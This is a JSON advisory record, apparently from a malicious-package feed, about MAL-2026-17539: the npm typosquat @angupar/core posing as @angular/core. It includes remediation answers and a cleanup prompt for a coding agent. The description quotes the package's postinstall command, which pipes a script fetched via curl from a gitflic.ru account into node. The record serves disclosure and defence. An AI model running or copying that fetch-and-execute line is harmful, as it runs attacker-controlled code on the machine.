{"answers":{"affected":"1 open source package ship an affected version, including @angupar/core.","exploited":"There is no known exploitation of MAL-2026-17539 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-17539 is a malicious package in @angupar/core, published on 5 Oct 2026."},"fix_prompt":"MAL-2026-17539 is a malicious package: @angupar/core (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-17539/ (Markdown: https://insights.sbomify.com/MAL-2026-17539/index.md)","id":"MAL-2026-17539","markdown":"https://insights.sbomify.com/MAL-2026-17539/index.md","name":"MAL-2026-17539","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"Package impersonates @angular/core (name @angupar/core, author field \"angular\", repository pointing at github.com/angular/angular, README copied from Angular). Its package.json postinstall script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a third-party user account (`hellscripter` on gitflic.ru) through a web.archive.org proxy and piping it directly to the installer's Node runtime. The fetch is unpinned, has no integrity check, and resolves to a host unrelated to the Angular project. `npm install @angupar/core` therefore yields arbitrary install-time code execution under attacker control, with the typosquat on @angular/core serving as the delivery lure.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in @angupar/core (npm)","id":"MAL-2026-17539","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"@angupar/core","purl":"pkg:npm/%40angupar/core","source":"MAL-2026-17539"}],"products":null,"published":"2026-10-05","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-17539/"}